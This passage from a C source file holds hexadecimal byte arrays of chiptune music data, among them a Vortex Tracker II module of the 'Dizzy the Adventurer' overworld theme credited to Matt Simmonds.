0xb1, 0x02, 0x7b, 0xb1, 0x01, 0x80, 0x7f, 0x80, 0x7f, 0x7b, 0xb1, 0x02, 0x76, 0x7f, 0x7f, 0x80,
0xb1, 0x01, 0x7f, 0xb1, 0x02, 0x82, 0xb1, 0x01, 0x80, 0x7f, 0x80, 0x7f, 0x7d, 0x7b, 0x79, 0x00,
0xd1, 0x41, 0xb1, 0x01, 0x87, 0x85, 0x84, 0x87, 0x85, 0x84, 0x87, 0x85, 0x87, 0x85, 0x84, 0x87,
0x85, 0x84, 0x87, 0x85, 0xb1, 0x02, 0x8c, 0x8c, 0xb1, 0x01, 0x8c, 0xb1, 0x02, 0x8c, 0x8b, 0x89,
0x89, 0xb1, 0x01, 0x89, 0xb1, 0x02, 0x87, 0xb1, 0x01, 0x85, 0x84, 0x80, 0x85, 0x84, 0x80, 0x85,
0x84, 0x85, 0x84, 0x80, 0x85, 0x84, 0x80, 0x85, 0x84, 0xb1, 0x02, 0x87, 0x87, 0xb1, 0x01, 0x87,
0xb1, 0x02, 0x87, 0x8b, 0xb1, 0x01, 0x8b, 0xb1, 0x02, 0x8b, 0xb1, 0x01, 0x8e, 0x8e, 0xb1, 0x02,
0x8e, 0x00, 0xd2, 0x42, 0xb1, 0x02, 0x5c, 0x5c, 0xb1, 0x01, 0x5c, 0xb1, 0x02, 0x5c, 0x5c, 0x5c,
0xb1, 0x01, 0x5c, 0xb1, 0x02, 0x5c, 0x5b, 0x59, 0x59, 0xb1, 0x01, 0x59, 0xb1, 0x02, 0x59, 0x59,
0x59, 0xb1, 0x01, 0x59, 0xb1, 0x02, 0x59, 0x63, 0x61, 0x61, 0xb1, 0x01, 0x61, 0xb1, 0x02, 0x61,
0x61, 0x61, 0xb1, 0x01, 0x61, 0x61, 0x61, 0x60, 0x61, 0xb1, 0x02, 0x63, 0x63, 0xb1, 0x01, 0x63,
0xb1, 0x02, 0x63, 0x63, 0x63, 0xb1, 0x01, 0x63, 0xb1, 0x02, 0x61, 0x5e, 0x00, 0xd5, 0x45, 0xb1,
0x02, 0x6d, 0xd4, 0x44, 0x72, 0xd5, 0x45, 0x6d, 0xd4, 0x44, 0xb1, 0x01, 0x72, 0xd5, 0x45, 0xb1,
0x03, 0x6d, 0xd4, 0x44, 0xb1, 0x02, 0x72, 0xd5, 0x45, 0x6d, 0xd4, 0x44, 0x72, 0xd5, 0x45, 0x6d,
0xd4, 0x44, 0x72, 0xd5, 0x45, 0x6d, 0xd4, 0x44, 0xb1, 0x01, 0x72, 0xd5, 0x45, 0xb1, 0x03, 0x6d,
0xd4, 0x44, 0xb1, 0x02, 0x72, 0xd5, 0x45, 0xb1, 0x01, 0x6d, 0xd4, 0x44, 0xb1, 0x03, 0x72, 0xd5,
0x45, 0xb1, 0x02, 0x6d, 0xd4, 0x44, 0x72, 0xd5, 0x45, 0x6d, 0xd4, 0x44, 0xb1, 0x01, 0x72, 0xd5,
0x45, 0xb1, 0x03, 0x6d, 0xd4, 0x44, 0xb1, 0x02, 0x72, 0xd5, 0x45, 0x6d, 0xd4, 0x44, 0x72, 0xd5,
0x45, 0x6d, 0xd4, 0x44, 0x72, 0xd5, 0x45, 0x6d, 0xd4, 0x44, 0xb1, 0x01, 0x72, 0xd5, 0x45, 0xb1,
0x03, 0x6d, 0xd4, 0x44, 0xb1, 0x02, 0x72, 0xd5, 0x45, 0xb1, 0x01, 0x6d, 0xd4, 0x44, 0xb1, 0x03,
0x72, 0x00, 0x47, 0xb1, 0x40, 0xd0, 0x00, 0xd8, 0x48, 0xb1, 0x02, 0x5c, 0x5c, 0xb1, 0x01, 0x5c,
0xb1, 0x02, 0x5c, 0x5c, 0x5c, 0xb1, 0x01, 0x5c, 0xb1, 0x02, 0x5c, 0x5b, 0x59, 0x59, 0xb1, 0x01,
0x59, 0xb1, 0x02, 0x59, 0x59, 0x59, 0xb1, 0x01, 0x59, 0xb1, 0x02, 0x59, 0x63, 0x61, 0x61, 0xb1,
0x01, 0x61, 0xb1, 0x02, 0x61, 0x61, 0x61, 0xb1, 0x01, 0x61, 0x61, 0x61, 0x60, 0x61, 0xb1, 0x02,
0x63, 0x63, 0xb1, 0x01, 0x63, 0xb1, 0x02, 0x63, 0x63, 0x63, 0xb1, 0x01, 0x63, 0xb1, 0x02, 0x61,
0x5e, 0x00, 0xd5, 0x45, 0xb1, 0x02, 0x6d, 0xd4, 0x44, 0x72, 0xd5, 0x45, 0x6d, 0xd4, 0x44, 0xb1,
0x01, 0x72, 0xd5, 0x45, 0xb1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90,
0xb1, 0x02, 0x8e, 0x91, 0x90, 0x8e, 0x8c, 0xb1, 0x01, 0x87, 0x00, 0xd8, 0x48, 0xb1, 0x01, 0x91,
0x91, 0x91, 0x90, 0x90, 0x90, 0x90, 0x90, 0x8e, 0x8e, 0x8e, 0x90, 0x90, 0x90, 0x90, 0x90, 0x91,
0x91, 0x91, 0x90, 0x90, 0x90, 0x90, 0x90, 0x8c, 0x8c, 0x8c, 0x8e, 0x8e, 0x8e, 0x8e, 0x8e, 0x91,
0x91, 0x91, 0xb1, 0x05, 0x90, 0xb1, 0x01, 0x8e, 0x8e, 0x8e, 0xb1, 0x05, 0x90, 0xb1, 0x01, 0x91,
0x91, 0x91, 0xb1, 0x02, 0x90, 0xb1, 0x01, 0x90, 0xb1, 0x02, 0x8e, 0xb1, 0x01, 0x8c, 0x8c, 0x8c,
0xb1, 0x02, 0x8b, 0xb1, 0x01, 0x8b, 0xb1, 0x02, 0x89, 0x00, 0x07, 0x08, 0x01, 0x8f, 0x00, 0x00,
0x01, 0x8f, 0x00, 0x00, 0x01, 0x8e, 0x00, 0x00, 0x01, 0x8e, 0x00, 0x00, 0x01, 0x8d, 0x00, 0x00,
0x01, 0x8c, 0x00, 0x00, 0x01, 0x88, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x08, 0x09, 0x01, 0x8d,
0x00, 0x00, 0x01, 0x8e, 0x01, 0x00, 0x01, 0x8f, 0xff, 0xff, 0x01, 0x8e, 0x02, 0x00, 0x01, 0x8d,
0xfe, 0xff, 0x01, 0x8c, 0x03, 0x00, 0x01, 0x8b, 0xfd, 0xff, 0x01, 0x8a, 0x00, 0x00, 0x01, 0x88,
0x00, 0x00, 0x0a, 0x0b, 0x01, 0x8f, 0x00, 0x00, 0x09, 0x1f, 0x00, 0x00, 0x01, 0x8e, 0x00, 0x00,
0x09, 0x1d, 0x00, 0x00, 0x01, 0x8d, 0x00, 0x00, 0x09, 0x1d, 0x00, 0x00, 0x01, 0x8c, 0x00, 0x00,
0x01, 0x8c, 0x00, 0x00, 0x01, 0x8b, 0x00, 0x00, 0x01, 0x88, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00,
0x06, 0x07, 0x01, 0x8f, 0x00, 0x00, 0x01, 0x8f, 0x00, 0x00, 0x01, 0x8e, 0x00, 0x00, 0x01, 0x8d,
0x00, 0x00, 0x01, 0x8b, 0x00, 0x00, 0x01, 0x88, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x06, 0x07,
0x01, 0x8f, 0x00, 0x00, 0x01, 0x8f, 0x00, 0x00, 0x01, 0x8e, 0x00, 0x00, 0x01, 0x8e, 0x00, 0x00,
0x01, 0x8d, 0x00, 0x00, 0x01, 0x8c, 0x00, 0x00, 0x01, 0x88, 0x00, 0x00, 0x0a, 0x0b, 0x01, 0x8d,
0x00, 0x00, 0x01, 0x8e, 0x01, 0x00, 0x01, 0x8f, 0x02, 0x00, 0x01, 0x8f, 0x00, 0x00, 0x01, 0x8f,
0x01, 0x00, 0x01, 0x8f, 0x02, 0x00, 0x01, 0x8d, 0x03, 0x00, 0x01, 0x8a, 0x02, 0x00, 0x01, 0x88,
0x01, 0x00, 0x01, 0x87, 0x00, 0x00, 0x01, 0x86, 0x00, 0x00, 0x00, 0x01, 0x00, 0x07, 0x08, 0x00,
0x0c, 0x00, 0x0c, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x01, 0x00, 0x0a, 0x0b, 0x00, 0x00, 0xfb, 0x00,
0xf6, 0x00, 0xf1, 0xec, 0xe7, 0xe2, 0xdd, 0x06, 0x07, 0x00, 0xfb, 0xf6, 0xf1, 0xec, 0xe7, 0xe2,
0x06, 0x07, 0x00, 0x0c, 0x18, 0x00, 0x0c, 0x18, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x00,
};
const uint8_t dizzy6[] MUSICMEM = {
0x56, 0x6f, 0x72, 0x74, 0x65, 0x78, 0x20, 0x54, 0x72, 0x61, 0x63, 0x6b, 0x65, 0x72, 0x20, 0x49,
0x49, 0x20, 0x31, 0x2e, 0x30, 0x20, 0x6d, 0x6f, 0x64, 0x75, 0x6c, 0x65, 0x3a, 0x20, 0x44, 0x69,
0x7a, 0x7a, 0x79, 0x20, 0x74, 0x68, 0x65, 0x20, 0x41, 0x64, 0x76, 0x65, 0x6e, 0x74, 0x75, 0x72,
0x65, 0x72, 0x20, 0x4f, 0x76, 0x65, 0x72, 0x77, 0x6f, 0x72, 0x6c, 0x64, 0x20, 0x31, 0x20, 0x62,
0x79, 0x20, 0x31, 0x33, 0x27, 0x6e, 0x69, 0x78, 0x2e, 0x27, 0x6f, 0x72, 0x67, 0x3a, 0x20, 0x4d,
0x61, 0x74, 0x74, 0x20, 0x53, 0x69, 0x6d, 0x6d, 0x6f, 0x6e, 0x64, 0x73, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x02, 0x03, 0x12, 0x0a, 0xdc, 0x00, 0x00, 0x00, 0x8f, 0x0a, 0x9d, 0x0a, 0xd3,
0x0a, 0x19, 0x0b, 0x1f, 0x0b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0x0b, 0x00,
0x00, 0x6b, 0x0b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0x0b, 0x00, 0x00, 0x88, 0x0b, 0x8c,
0x0b, 0x93, 0x0b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x06, 0x09, 0x0c, 0x0f, 0x12,
0x15, 0x18, 0x1b, 0x24, 0x33, 0x27, 0x1e, 0x21, 0x2a, 0x2d, 0x30, 0xff, 0x48, 0x01, 0x7f, 0x01,
0xeb, 0x01, 0x2d, 0x02, 0x64, 0x02, 0xf8, 0x02, 0x2d, 0x02, 0x51, 0x03, 0xd4, 0x03, 0x01, 0x04,
0x51, 0x03, 0x35, 0x04, 0x01, 0x04, 0x51, 0x03, 0x5b, 0x04, 0x85, 0x04, 0xc4, 0x04, 0x35, 0x04,
0x51, 0x05, 0x88, 0x05, 0x1c, 0x06, 0x4e, 0x06, 0x88, 0x05, 0x82, 0x06, 0x4e, 0x06, 0x88, 0x05,
0x1c, 0x06, 0xb5, 0x06, 0xf3, 0x06, 0x9b, 0x07, 0x85, 0x04, 0xc4, 0x04, 0x43, 0x08, 0x51, 0x05,
0x88, 0x05, 0x6f, 0x08, 0x2d, 0x02, 0x51, 0x03, 0xce, 0x07, 0x01, 0x04, 0x51, 0x03, 0x1c, 0x08,
0x98, 0x08, 0xcc, 0x08, 0x70, 0x09, 0x4e, 0x06, 0x88, 0x05, 0x6f, 0x08, 0x99, 0x09, 0xc1, 0x09,
0x66, 0x0a, 0x01, 0x04, 0x51, 0x03, 0xf8, 0x07, 0xf2, 0x04, 0xc7, 0xb1, 0x04, 0x78, 0xb1, 0x02,
0x78, 0xb1, 0x04, 0x84, 0xb1, 0x02, 0x84, 0xc8, 0xb1, 0x04, 0x77, 0xb1, 0x02, 0x77, 0xb1, 0x04,
0x83, 0xb1, 0x02, 0x83, 0xc9, 0xb1, 0x04, 0x75, 0xb1, 0x02, 0x75, 0xb1, 0x04, 0x81, 0xb1, 0x02,
0x81, 0xca, 0xb1, 0x04, 0x73, 0xb1, 0x02, 0x73, 0xb1, 0x04, 0x7f, 0xb1, 0x02, 0x7f, 0x00, 0x1a,
0x00, 0x53, 0x02, 0x40, 0xb1, 0x04, 0x60, 0xbb, 0x00, 0x53, 0xb1, 0x02, 0x60, 0xbb, 0x00, 0x2a,
0xb1, 0x04, 0x6c, 0xbb, 0x00, 0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02,
0x75, 0xb1, 0x04, 0x81, 0xb1, 0x02, 0x81, 0xb1, 0x04, 0x73, 0xb1, 0x02, 0x73, 0xb1, 0x04, 0x7f,
0xb1, 0x02, 0x7f, 0x00, 0x1a, 0x00, 0x53, 0x14, 0x40, 0xcf, 0x23, 0xb1, 0x01, 0x68, 0x25, 0xd0,
0x20, 0xb1, 0x02, 0xd0, 0xbb, 0x00, 0x53, 0x68, 0xdc, 0xbb, 0x00, 0x2a, 0x23, 0xb1, 0x01, 0x74,
0x25, 0xd0, 0x20, 0xb1, 0x02, 0xd0, 0xda, 0xbb, 0x00, 0x2a, 0x68, 0xbb, 0x00, 0x58, 0x23, 0xb1,
0x01, 0x68, 0x25, 0xd0, 0x20, 0xb1, 0x02, 0xd0, 0xbb, 0x00, 0x58, 0x68, 0xdc, 0xbb, 0x00, 0x2c,
0x23, 0xb1, 0x01, 0x74, 0x25, 0xd0, 0x20, 0xb1, 0x02, 0xd0, 0xda, 0xbb, 0x00, 0x2c, 0x68, 0xbb,
0x00, 0x63, 0xb1, 0x04, 0x68, 0xbb, 0x00, 0x63, 0xb1, 0x02, 0x68, 0xdc, 0xbb, 0x00, 0x31, 0x23,
0xb1, 0x01, 0x74, 0x25, 0xd0, 0x20, 0xb1, 0x02, 0xd0, 0xda, 0xbb, 0x00, 0x31, 0x68, 0xbb, 0x00,
0x6f, 0x23, 0xb1, 0x01, 0x68, 0x25, 0xd0, 0x20, 0xb1, 0x02, 0xd0, 0xdc, 0xbb, 0x00, 0x6f, 0x23,
0xb1, 0x01, 0x74, 0x25, 0xd0, 0xbb, 0x00, 0x37, 0x23, 0x74, 0x25, 0xd0, 0x23, 0x74, 0x25, 0xd0,
0xbb, 0x00, 0x37, 0x23, 0x74, 0x25, 0xd0, 0x00, 0xf3, 0x06, 0xcf, 0xb1, 0x02, 0x60, 0xd2, 0x42,
0xc7, 0xb1, 0x04, 0x78, 0xd3, 0x43, 0xcb, 0xb1, 0x02, 0x60, 0xd2, 0x42, 0xc7, 0xb1, 0x04, 0x84,
0xd3, 0x43, 0xc9, 0xb1, 0x02, 0x60, 0xd2, 0x42, 0xc7, 0xb1, 0x04, 0x77, 0xd3, 0x43, 0xb1, 0x02,
0x60, 0xd2, 0x42, 0xb1, 0x04, 0x83, 0xb1, 0x02, 0x83, 0xb1, 0x04, 0x75, 0xd3, 0x43, 0xc9, 0xb1,
0x02, 0x5d, 0xd2, 0x42, 0xc7, 0xb1, 0x04, 0x81, 0xd3, 0x43, 0xcb, 0xb1, 0x02, 0x5b, 0xd2, 0x42,
0xc7, 0xb1, 0x04, 0x73, 0xd3, 0x43, 0xcf, 0xb1, 0x02, 0x5b, 0xd2, 0x42, 0xc7, 0xb1, 0x04, 0x7f,
0x00, 0x1a, 0x00, 0x53, 0x14, 0x40, 0xcf, 0xb1, 0x04, 0x68, 0xbb, 0x00, 0x53, 0xb1, 0x02, 0x68,
0xdc, 0xbb, 0x00, 0x2a, 0x23, 0xb1, 0x01, 0x74, 0x25, 0xd0, 0x20, 0xb1, 0x02, 0xd0, 0xda, 0xbb,
0x00, 0x2a, 0x68, 0xbb, 0x00, 0x58, 0xb1, 0x04, 0x68, 0xbb, 0x00, 0x58, 0xb1, 0x02, 0x68, 0xdc,
0xbb, 0x00, 0x2c, 0x23, 0xb1, 0x01, 0x74, 0x25, 0xd0, 0x20, 0xb1, 0x02, 0xd0, 0xda, 0xbb, 0x00,
0x2c, 0x68, 0xbb, 0x00, 0x63, 0xb1, 0x04, 0x68, 0xbb, 0x00, 0x63, 0xb1, 0x02, 0x68, 0xdc, 0xbb,
0x00, 0x31, 0x23, 0xb1, 0x01, 0x74, 0x25, 0xd0, 0x20, 0xb1, 0x02, 0xd0, 0xda, 0xbb, 0x00, 0x31,
0x68, 0xbb, 0x00, 0x6f, 0xb1, 0x04, 0x68, 0xdc, 0xbb, 0x00, 0x6f, 0x23, 0xb1, 0x01, 0x74, 0x25,
0xd0, 0xbb, 0x00, 0x37, 0x23, 0x74, 0x25, 0xd0, 0x23, 0x74, 0x25, 0xd0, 0xbb, 0x00, 0x37, 0x23,
0x74, 0x25, 0xd0, 0x00, 0xf3, 0x06, 0xcf, 0xb1, 0x02, 0x60, 0xd2, 0x42, 0xc9, 0x84, 0xce, 0x84,
0xb1, 0x04, 0x81, 0xb1, 0x02, 0x7c, 0xb1, 0x04, 0x7f, 0xb1, 0x06, 0x81, 0xb1, 0x08, 0x84, 0xca,
0xb1, 0x02, 0x84, 0xce, 0x86, 0x88, 0x86, 0x84, 0xca, 0x81, 0xb1, 0x04, 0x7f, 0xb1, 0x02, 0x7f,
0x00, 0xd2, 0x42, 0xcc, 0xb1, 0x04, 0x78, 0xb1, 0x02, 0x78, 0xb1, 0x04, 0x84, 0xb1, 0x02, 0x84,
0xb1, 0x04, 0x77, 0xb1, 0x02, 0x77, 0xb1, 0x04, 0x83, 0xb1, 0x02, 0x83, 0xb1, 0x04, 0x75, 0xb1,
0x02, 0x75, 0xb1, 0x04, 0x81, 0xb1, 0x02, 0x81, 0xb1, 0x04, 0x73, 0xb1, 0x02, 0x73, 0xb1, 0x04,
0x7f, 0xb1, 0x02, 0x7f, 0x00, 0xf2, 0x04, 0xce, 0xb1, 0x04, 0x84, 0xb1, 0x02, 0x84, 0xb1, 0x04,
0x81, 0xb1, 0x02, 0x7c, 0xb1, 0x04, 0x7f, 0xb1, 0x06, 0x81, 0xb1, 0x08, 0x84, 0xca, 0xb1, 0x02,
0x84, 0xce, 0x86, 0x88, 0x89, 0x88, 0x86, 0x88, 0x86, 0x84, 0x00, 0xf2, 0x04, 0xce, 0xb1, 0x04,
0x84, 0xb1, 0x02, 0x84, 0xb1, 0x04, 0x81, 0xb1, 0x02, 0x7c, 0xb1, 0x04, 0x7f, 0xb1, 0x06, 0x81,
0xb1, 0x08, 0x84, 0xca, 0xb1, 0x02, 0x84, 0xce, 0x86, 0x88, 0x86, 0x84, 0xca, 0x81, 0xb1, 0x04,
0x7f, 0xb1, 0x02, 0x7f, 0x00, 0xd2, 0x42, 0xcc, 0xb1, 0x04, 0x78, 0xb1, 0x02, 0x78, 0xb1, 0x04,
0x84, 0xb1, 0x02, 0x84, 0xb1, 0x04, 0x77, 0xb1, 0x02, 0x77, 0xb1, 0x04, 0x83, 0xb1, 0x02, 0x83,
0xb1, 0x04, 0x75, 0xb1, 0x02, 0x75, 0xcb, 0x81, 0xca, 0xd0, 0xc9, 0x81, 0xc8, 0x73, 0xc7, 0xd0,
0xd4, 0xc8, 0xb1, 0x01, 0x68, 0xc9, 0xd0, 0xca, 0xd0, 0xcb, 0xd0, 0xcc, 0xd0, 0xcd, 0xd0, 0xce,
0xd0, 0xcf, 0xd0, 0x00, 0x1a, 0x00, 0x53, 0x14, 0x40, 0xcf, 0xb1, 0x04, 0x68, 0xbb, 0x00, 0x53,
0xb1, 0x02, 0x68, 0xdc, 0xbb, 0x00, 0x2a, 0x23, 0xb1, 0x01, 0x74, 0x25, 0xd0, 0x20, 0xb1, 0x02,
0xd0, 0xda, 0xbb, 0x00, 0x2a, 0x68, 0xbb, 0x00, 0x58, 0xb1, 0x04, 0x68, 0xbb, 0x00, 0x58, 0xb1,
0x02, 0x68, 0xdc, 0xbb, 0x00, 0x2c, 0x23, 0xb1, 0x01, 0x74, 0x25, 0xd0, 0x20, 0xb1, 0x02, 0xd0,
0xda, 0xbb, 0x00, 0x2c, 0x68, 0xbb, 0x00, 0x63, 0xb1, 0x04, 0x68, 0xbb, 0x00, 0x63, 0xb1, 0x02,
0x68, 0xdc, 0xbb, 0x00, 0x31, 0x23, 0xb1, 0x01, 0x74, 0x25, 0xd0, 0x20, 0xb1, 0x02, 0xd0, 0xda,
0xbb, 0x00, 0x31, 0x68, 0xdc, 0xbb, 0x00, 0x6f, 0x25, 0xb1, 0x01, 0x74, 0x27, 0xd0, 0xda, 0x20,
0xb1, 0x02, 0x68, 0xbb, 0x00, 0x6f, 0x21, 0xb1, 0x01, 0x68, 0x22, 0xd0, 0xdc, 0xbb, 0x00, 0x37,
0x23, 0x74, 0x24, 0xd0, 0xda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0xbb, 0x00, 0x4a, 0x26, 0xb1, 0x02, 0x68, 0xbb, 0x00, 0x4a, 0x21, 0xb1,
0x01, 0x68, 0x22, 0xd0, 0xdc, 0xbd, 0x00, 0x4a, 0x23, 0x74, 0x24, 0xd0, 0xbb, 0x00, 0x94, 0x25,
0x74, 0x26, 0xd0, 0xbb, 0x00, 0x94, 0x27, 0x74, 0x28, 0xd0, 0x00, 0xf4, 0x06, 0xcf, 0xb1, 0x02,
0x8d, 0x8b, 0x88, 0x86, 0xca, 0xb1, 0x04, 0x86, 0xcf, 0xb1, 0x02, 0x8d, 0x8b, 0x88, 0x86, 0xca,
0xb1, 0x04, 0x86, 0xcf, 0xb1, 0x02, 0x81, 0xca, 0x81, 0xcf, 0x83, 0xcd, 0x86, 0xcf, 0x84, 0xca,
0x84, 0xcf, 0x86, 0xca, 0x86, 0xcf, 0x84, 0xcd, 0x86, 0xcf, 0x83, 0xca, 0x83, 0x00, 0xf3, 0x06,
0xcf, 0xb1, 0x02, 0x60, 0xd2, 0x42, 0xc9, 0x84, 0xce, 0x84, 0xb1, 0x04, 0x81, 0xb1, 0x02, 0x7c,
0xb1, 0x04, 0x7f, 0xb1, 0x06, 0x81, 0xb1, 0x08, 0x7c, 0xb1, 0x02, 0x84, 0x86, 0x88, 0x89, 0x88,
0x86, 0xb1, 0x04, 0x7f, 0xb1, 0x02, 0x7f, 0x00, 0xf2, 0x04, 0xce, 0xb1, 0x04, 0x84, 0xb1, 0x02,
0x84, 0xb1, 0x04, 0x81, 0xb1, 0x02, 0x7c, 0xb1, 0x04, 0x7f, 0xb1, 0x06, 0x81, 0xb1, 0x08, 0x84,
0xb1, 0x02, 0x84, 0x86, 0x88, 0x89, 0x88, 0x86, 0x88, 0x86, 0x84, 0x00, 0xf2, 0x04, 0xce, 0xb1,
0x04, 0x84, 0xb1, 0x02, 0x84, 0xb1, 0x04, 0x81, 0xb1, 0x02, 0x7c, 0xb1, 0x04, 0x7f, 0xb1, 0x06,
0x81, 0xb1, 0x08, 0x7c, 0xb1, 0x02, 0x84, 0x86, 0x88, 0x89, 0x88, 0x86, 0xb1, 0x04, 0x7f, 0xb1,
0x02, 0x7f, 0x00, 0xf2, 0x04, 0xce, 0xb1, 0x04, 0x84, 0xb1, 0x02, 0x84, 0xb1, 0x04, 0x81, 0xb1,
0x02, 0x7c, 0xb1, 0x04, 0x7f, 0xb1, 0x06, 0x81, 0x84, 0xb1, 0x02, 0x88, 0xca, 0x7c, 0xce, 0x86,
0xca, 0x7a, 0xce, 0x84, 0xca, 0x78, 0xce, 0x83, 0xca, 0x77, 0xce, 0x81, 0xca, 0x77, 0x00, 0xf4,
0x06, 0xcf, 0xb1, 0x02, 0x8d, 0xca, 0x8d, 0xcf, 0x89, 0x8d, 0xca, 0x8d, 0xcf, 0x89, 0x8d, 0xca,
0x8d, 0xcf, 0x89, 0x8d, 0xca, 0x8d, 0xcf, 0x89, 0xd5, 0x42, 0xce, 0x83, 0x84, 0x86, 0x84, 0x83,
0x7f, 0x83, 0x84, 0x86, 0x84, 0x83, 0x7f, 0x00, 0xf2, 0x04, 0xcc, 0xb1, 0x04, 0x7d, 0xb1, 0x02,
0x7d, 0xb1, 0x04, 0x89, 0xb1, 0x02, 0x89, 0xb1, 0x04, 0x7d, 0xb1, 0x02, 0x7d, 0xb1, 0x04, 0x89,
0xb1, 0x02, 0x89, 0xb1, 0x04, 0x7a, 0xb1, 0x02, 0x7a, 0xb1, 0x04, 0x86, 0xb1, 0x02, 0x86, 0xb1,
0x04, 0x7a, 0xb1, 0x02, 0x7a, 0xb1, 0x04, 0x86, 0xb1, 0x02, 0x86, 0x00, 0x1c, 0x00, 0x3e, 0x14,
0x40, 0xcf, 0x26, 0xb1, 0x02, 0x68, 0xbb, 0x00, 0x3e, 0xd0, 0xbb, 0x00, 0x3e, 0x68, 0xdc, 0xbd,
0x00, 0x3e, 0x23, 0xb1, 0x01, 0x74, 0x25, 0xd0, 0xbb, 0x00, 0x1f, 0x26, 0xb1, 0x02, 0xd0, 0xda,
0xbb, 0x00, 0x1f, 0x68, 0xbd, 0x00, 0x3e, 0x68, 0xbb, 0x00, 0x3e, 0xd0, 0xbb, 0x00, 0x3e, 0x68,
0xdc, 0xbd, 0x00, 0x3e, 0x23, 0xb1, 0x01, 0x74, 0x25, 0xd0, 0xbb, 0x00, 0x1f, 0x26, 0xb1, 0x02,
0xd0, 0xda, 0xbb, 0x00, 0x1f, 0x68, 0xbd, 0x00, 0x4a, 0x23, 0xb1, 0x01, 0x68, 0x25, 0xd0, 0xbb,
0x00, 0x4a, 0x26, 0xb1, 0x02, 0xd0, 0xbb, 0x00, 0x4a, 0x68, 0xdc, 0xbd, 0x00, 0x4a, 0x23, 0xb1,
0x01, 0x74, 0x25, 0xd0, 0xbb, 0x00, 0x94, 0x26, 0xb1, 0x02, 0xd0, 0xda, 0xbb, 0x00, 0x94, 0x68,
0xbd, 0x00, 0x4a, 0x23, 0xb1, 0x01, 0x68, 0x25, 0xd0, 0xbb, 0x00, 0x4a, 0x26, 0xb1, 0x02, 0xd0,
0xdc, 0xbb, 0x00, 0x4a, 0x21, 0xb1, 0x01, 0x74, 0x22, 0xd0, 0xbd, 0x00, 0x4a, 0x23, 0x74, 0x24,
0xd0, 0xbb, 0x00, 0x94, 0x25, 0x74, 0x26, 0xd0, 0xbb, 0x00, 0x94, 0x27, 0x74, 0x28, 0xd0, 0x00,
0xf4, 0x06, 0xcf, 0xb1, 0x02, 0x8d, 0xca, 0x8d, 0xcf, 0x89, 0x8d, 0xca, 0x8d, 0xcf, 0x89, 0x8d,
0xca, 0x8d, 0xcf, 0x89, 0x8d, 0xca, 0x8d, 0xcf, 0x89, 0xd5, 0x42, 0xce, 0x86, 0x88, 0x89, 0x88,
0x86, 0x84, 0x86, 0x88, 0x89, 0x88, 0x86, 0x84, 0x00, 0xf2, 0x04, 0xcc, 0xb1, 0x04, 0x7d, 0xb1,
0x02, 0x7d, 0xb1, 0x04, 0x89, 0xb1, 0x02, 0x89, 0xb1, 0x04, 0x7d, 0xb1, 0x02, 0x7d, 0xb1, 0x04,
0x89, 0xb1, 0x02, 0x89, 0x7a, 0x78, 0x77, 0x76, 0x75, 0x74, 0x73, 0x72, 0x71, 0x70, 0x6f, 0x6e,
0x00, 0x1c, 0x00, 0x3e, 0x14, 0x40, 0xcf, 0x26, 0xb1, 0x02, 0x68, 0xbb, 0x00, 0x3e, 0xd0, 0xbb,
0x00, 0x3e, 0x68, 0xdc, 0xbd, 0x00, 0x3e, 0x23, 0xb1, 0x01, 0x74, 0x25, 0xd0, 0xbb, 0x00, 0x1f,
0x26, 0xb1, 0x02, 0xd0, 0xda, 0xbb, 0x00, 0x1f, 0x68, 0xbd, 0x00, 0x3e, 0x68, 0xbb, 0x00, 0x3e,
0xd0, 0xbb, 0x00, 0x3e, 0x68, 0xdc, 0xbd, 0x00, 0x3e, 0x23, 0xb1, 0x01, 0x74, 0x25, 0xd0, 0xbb,
0x00, 0x1f, 0x26, 0xb1, 0x02, 0xd0, 0xda, 0xbb, 0x00, 0x1f, 0x68, 0xdc, 0xbb, 0x00, 0x25, 0x23,
0xb1, 0x01, 0x74, 0x25, 0xd0, 0xda, 0xbb, 0x00, 0x2a, 0x26, 0xb1, 0x02, 0x68, 0xbb, 0x00, 0x2c,
0x68, 0xdc, 0xbb, 0x00, 0x2f, 0x23, 0xb1, 0x01, 0x74, 0x25, 0xd0, 0xda, 0xbb, 0x00, 0x31, 0x26,
0xb1, 0x02, 0x68, 0xbb, 0x00, 0x34, 0x68, 0xdc, 0xbb, 0x00, 0x37, 0x23, 0xb1, 0x01, 0x68, 0x25,
0xd0, 0xda, 0xbb, 0x00, 0x3b, 0x26, 0xb1, 0x02, 0x68, 0xbb, 0x00, 0x3e, 0x68, 0xdc, 0xbb, 0x00,
0x42, 0x23, 0xb1, 0x01, 0x74, 0x25, 0xd0, 0xbb, 0x00, 0x46, 0x23, 0x74, 0x25, 0xd0, 0xbb, 0x00,
0x4a, 0x23, 0x74, 0x25, 0xd0, 0x00, 0xf4, 0x06, 0xcf, 0xb1, 0x02, 0x8d, 0xca, 0x8d, 0xcf, 0x89,
0x8d, 0xca, 0x8d, 0xcf, 0x89, 0x8d, 0xca, 0x8d, 0xcf, 0x89, 0x8d, 0xca, 0x8d, 0xcf, 0x89, 0xd5,
0x42, 0xce, 0x86, 0x84, 0x83, 0x82, 0x81, 0x80, 0x7f, 0x7e, 0x7d, 0x7c, 0x7b, 0x7a, 0x00, 0x02,
0x03, 0x00, 0x8f, 0x12, 0x00, 0x00, 0x8f, 0x00, 0x00, 0x00, 0x90, 0x00, 0x00, 0x0c, 0x0d, 0x01,
0x8d, 0x00, 0x00, 0x01, 0x8d, 0x03, 0x00, 0x01, 0x8d, 0x00, 0x00, 0x01, 0x8d, 0xfd, 0xff, 0x01,
